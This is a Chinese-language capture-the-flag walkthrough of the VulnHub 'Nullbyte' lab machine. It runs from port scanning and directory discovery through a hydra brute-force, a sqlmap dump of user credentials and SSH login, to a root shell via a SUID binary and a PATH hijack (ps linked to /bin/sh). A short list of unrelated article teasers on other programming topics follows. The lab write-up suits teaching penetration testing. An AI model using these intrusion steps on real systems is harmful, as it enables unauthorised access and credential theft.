VulnHub Nullbyte

一、信息收集

1.nmap扫描

arp-scan -l扫描内网存活主机

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.201/24
-sS 半扫描
-A 扫描详细信息
-p- 扫描全端口

发现开放了80、111、777、50978端口

且发现777端口开放了ssh服务,说明他把默认22端口修改成了777端口

2.web页面

1.打开80端口

翻译一下下面的提示:意思是要找到正确的渗透方式

2.扫描80端口目录
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.201目录扫描字典字典的话推荐:/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt/usr/share/wordlists/dirb/big.txt

扫描得到以下目录:

/uploads

/javascript

/phpmyadmin

显然/uploads目录和上传相关,说不定我们可以在此上传shell,访问试试,发现无法列出相应目录,不过没关系,只要我们可以上传,这依旧是个关键路径

再看phpmyadmin,应该就是phpmyadmin的管理界面,打开一看,果不其然:

遇到登录框,首先试试是不是弱口令,这个试过弱口令了,发现试不出来

然后试着查看源代码看看有没有啥提示:

发现80端口下面的源代码有个图片提示。

我们可以采用CTF的思路,把这张“慧眼”的图片下载下来看看还有没有啥提示:

┌──(root💀kali)-[~/桌面]
└─# wget http://192.168.103.201/main.gif

先用file看看这个文件的具体信息,确实就是个gif的图像文件

strings main.gif

strings 命令在对象文件或二进制文件中查找可打印的字符串。字符串是 4 个或更多可打印字符的任意序列,以换行符或空字符结束。 strings 命令对识别随机对象文件很有用

这个kzMb5nVYJw,有可能是某个密码,所以可以尝试ssh登录、phpmyadmin也可以试试,但是都失败了

kzMb5nVYJw除了是密码,还有可能是什么呢?还有可能是web目录的一个路径,所以试试路径

发现,还真的是路径,发现是个要输入key的页面

查看网页源代码

这个提示暗示我们可以尝试一些弱口令,同时我感觉还有个言外之意:这个表单没有连接到MySQL,那么总有其他连接到MySQL的地方吧?数据库应该就是MySQL了

this form isn't connected to mysql, password ain't that complex
:这个表单没有连接到mysql,密码没有那么复杂

我们试着输入kzMb5nVYJw进去,发现报错了

3.爆破

这里使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破

解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求

添加一个-l参数表示login登录账号,我们这里随便填写一个即可(无实际意义,我写的bossfrank)

-P指定爆破脚本,一般靶机都可选择/usr/share/wordlists/rockyou.txt这个字典

┌──(root💀kali)-[/usr/share/wordlists]
└─# hydra 192.168.103.201 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt

爆破完毕:key是elite

输入正确的key后,出现下面的这个界面

发现输入,出现了报错,可以看到url存在注入点,说明存在sql注入

注入点http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1

4.sqlmap跑

在前述注入的时候发现是GET型注入,输入的参数最后会提交到url中,这就很方便了

┌──(root💀kali)-[/usr/share/wordlists]
└─# sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch

+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

密码,先base64解密,然后再md5解密,

得到密码是:omega

二、提权

1.ssh远程连接

┌──(root💀kali)-[~]
└─# ssh ramses@192.168.103.201 -p 777密码omega

1.sudo -l提权

没有权限

2.SUID 查看有哪些有root执行权限

ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

3.查看计划任务

ramses@NullByte:~$ cat /etc/crontab

4.查看历史命令

先进入ramses用户目录下然后

ls -la

发现这个很奇怪,好像在前面那里见过,所以尝试在这里执行一下,发现执行不了,

2.procwatch文件

ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

后来发现是这里,看见过,这里的是表示root用户可以执行的权限命令

所以,先切换到/var/www/backup目录下

然后./procwatch执行下这个文件

ramses@NullByte:/var/www/backup$ ./procwatchPID TTY          TIME CMD1785 pts/0    00:00:00 procwatch1786 pts/0    00:00:00 sh1787 pts/0    00:00:00 ps

发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是

将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。

首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

ln -s /bin/sh psls -la

然后我们修改环境变量,将当前目录.追加到环境变量的最开始:

export PATH=.:$PATH

然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了

3.flag

./procwatch

然后我们进入/root目录寻找flag,是proof.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/187246.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

十个使用Spring Cloud和Java创建微服务的实践案例

在使用Java构建微服务时&#xff0c;许多人认为只要学习一些微服务设计模式就足够了&#xff0c;比如CQRS、SAGA或每个微服务一个数据库。虽然这是正确的&#xff0c;但同时学习一些通用的最佳实践也是很有意义的。本文分享一些最佳实践。 1 设计模块化的微服务 微服务应该专…

计算机技术专业CSIT883系统分析与项目管理介绍

文章目录 前言一、学科学习成果二、使用步骤三、最低出勤要求四、讲座时间表五、项目管理 前言 本课程介绍了信息系统开发中的技术和技术&#xff0c;以及与管理信息技术项目的任务相关的方法和过程。 它研究了系统分析师、客户和用户在系统开发生命周期中的互补角色。 它涵盖…

弹性布局display:flex

弹性布局display:flex 一、弹性布局的特点二、容器的属性1、justify-content1.1 justify-content: center 居中1.2 justify-content: flex-start&#xff08;默认值&#xff09;&#xff1a;左对齐1.3 justify-content: flex-end 右对齐1.4 justify-content:space-between 两端…

黑马程序员微服务SpringCloud实用篇02

SpringCloud实用篇02 0.学习目标 1.Nacos配置管理 Nacos除了可以做注册中心&#xff0c;同样可以做配置管理来使用。 1.1.统一配置管理 当微服务部署的实例越来越多&#xff0c;达到数十、数百时&#xff0c;逐个修改微服务配置就会让人抓狂&#xff0c;而且很容易出错。我…

查找或替换excel换行符ctrl+j和word中的换行符^p,^l

一、excel中 直接上图。使用ctrlh调出替换&#xff0c;查找内容里按ctrlj&#xff08;会出现一个闪的小点&#xff09;&#xff0c;即为换行符。 二、word中 在word中&#xff0c;^p和^l分别代表换行符&#xff08;enter&#xff09;和手动换行符&#xff08;使用shiftenter&…

亚马逊云科技Zero ETL集成全面可用,可运行近乎实时的分析和机器学习

亚马逊云科技数据库、数据分析和机器学习全球副总裁Swami Sivasubramanian曾指出&#xff1a;“数据是应用、流程和商业决策的核心。”如今&#xff0c;客户常用的数据传输模式是建立从Amazon Aurora到Amazon Redshift的数据管道。这些解决方案能够帮助客户获得新的见解&#x…

Win10专业版安装wsl-ubuntu子系统

文章目录 一、查看是否满足安装要求二、管理员权限启动 Windows PowerShell三、启用Windows10子系统功能四、启用虚拟机平台功能五、重启电脑六、下载 Linux 内核更新包&#xff08;适用于 x64 计算机的 WSL2 Linux 内核更新包&#xff09;七、将 WSL 2 设置为默认版本八、打开…

华为gre带验证key案例

配置FW_A。 a.配置接口的IP地址&#xff0c;并将接口加入安全区域。 system-view [sysname] sysname FW_A [FW_A] interface GigabitEthernet 1/0/1 [FW_A-GigabitEthernet1/0/1] ip address 1.1.1.1 24 [FW_A-GigabitEthernet1/0/1] quit [FW_A] interface GigabitEthernet 1/…

Python数据容器(字符串)

字符串 1.字符串 字符串也是数据容器的一种&#xff0c;字符串是字符的容器&#xff0c;一个字符串可以存放任意数量的字符。 2.字符串的下标索引 从前向后&#xff0c;下标从0开始从后向前&#xff0c;下标从-1开始 # 通过下标索引获取特定位置的字符 name python print(na…

【技术类-01】doc转PDF程序卡死的解决方案,

摘要&#xff1a; 1、报错&#xff1a; raise AttributeError("%s.%s" % (self._username_, attr))&#xff09; 2、表现&#xff1a;doc转PDF卡死&#xff08;白条不动或出现以上英文&#xff09; 3、解决&#xff1a;在docx保存代码行后面加上time.sleep(3) 4、…

计算机是如何进行工作的+进程和线程

一)计算机是如何工作的? 指令是如何执行的?CPU基本工作过程&#xff1f; 假设上面有一些指令表&#xff0c;假设CPU上面有两个寄存器A的编号是00&#xff0c;B的编号是01 1)第一个指令0010 1010&#xff0c;这个指令的意思就是说把1010地址上面的数据给他读取到A寄存器里面 2…

ubuntu 16.04.5 安装 vivado 2019.1 完整编译AD9361的环境

一、前期安装 1、安装ncurses库&#xff08;已经包含了&#xff0c;其他的os需要安装&#xff09; sudo apt install libncurses5二、安装 sudo ./xsetup使用lic进行激活。 三、安装后 输入指令 sudo gedit ~/.bashrc 末尾添加 source /opt/Xilinx/Vivado/2019.1/setti…

生态环境领域基于R语言piecewiseSEM结构方程模型

结构方程模型&#xff08;Sructural Equation Modeling&#xff0c;SEM&#xff09;可分析系统内变量间的相互关系&#xff0c;并通过图形化方式清晰展示系统中多变量因果关系网&#xff0c;具有强大的数据分析功能和广泛的适用性&#xff0c;是近年来生态、进化、环境、地学、…

ruoyi前后端分离版本开发框架解读---让你快速入门

后端结构 com.ruoyi ├── common // 工具类 │ └── annotation // 自定义注解 │ └── config // 全局配置 │ └── constant // 通用常量 │ └── core …

10. GPIO中断

10. GPIO中断 回顾stm32中断系统STM32中断向量表中断向量偏移NVIC中断控制器 Cortex_A7 中断系统中断向量表GIC控制器中断IDGIC逻辑分块CP15协处理器c0寄存器c1寄存器c12寄存器c15寄存器 中断使能中断优先级设置优先级数配置 GICC_PMR抢占优先级和子优先级位数设置 GICC_BPR优先…

Vue中的 配置项 setup

setup 是 Vue3 中的一个全新的配置项&#xff0c;值为一个函数。 setup 是所有 Composition API&#xff08;组合式API&#xff09;的入口&#xff0c;是 Vue3 语法的基础。 组件中所用到的数据、方法、计算属性等&#xff0c;都需要配置在 setup 中。 setup 会在 beforeCre…

使用WinDbg分析CPU100%的问题

在我们软件运行的时候&#xff0c;偶尔会出现CPU占比100%的问题&#xff0c;而且极其不容易排查&#xff0c;概率极低&#xff0c;我硬是操作了一个下午&#xff0c;出现了一次&#xff0c;然后找到了dmp文件&#xff0c;也没有任何的规律&#xff0c;那么就可以借助windbg进行…

好用的vscode插件

一、代码管理 git GitLens — Git supercharged Git History gitignore 项目管理 Project Manager 管理多个项目 Todo Tree 快速定位代码中的todo WakaTime 用于在编程活动中自动统计工作量、代码提交和时间跟踪等 VS Code Counter 该插件用于帮助我们统计项目代码的行数…

Android ConstraintLayout

0dp 充满约束 to左侧是控件本身,to右边是约束条件 例如: app:layout_constraintBottom_toBottomOf"id/image_1" app:layout_constraintTop_toBottomOf"id/image_1" 指定权重: app:layout_constraintHorizontal_weight"" app:layout_constra…

电容式触摸芯片-多键触摸检测高灵敏度、抗干扰强

电容式触摸芯片是基于电容感应技术的一种新型触摸芯片&#xff0c;它能够检测人的手指触摸&#xff0c;并将它们转换成电信号&#xff0c;从而实现触摸控制&#xff1b;具有触摸精度高、响应速度快、低功耗等优点&#xff0c;这些优点使它成为家电控制、智能家居控制及医疗等领…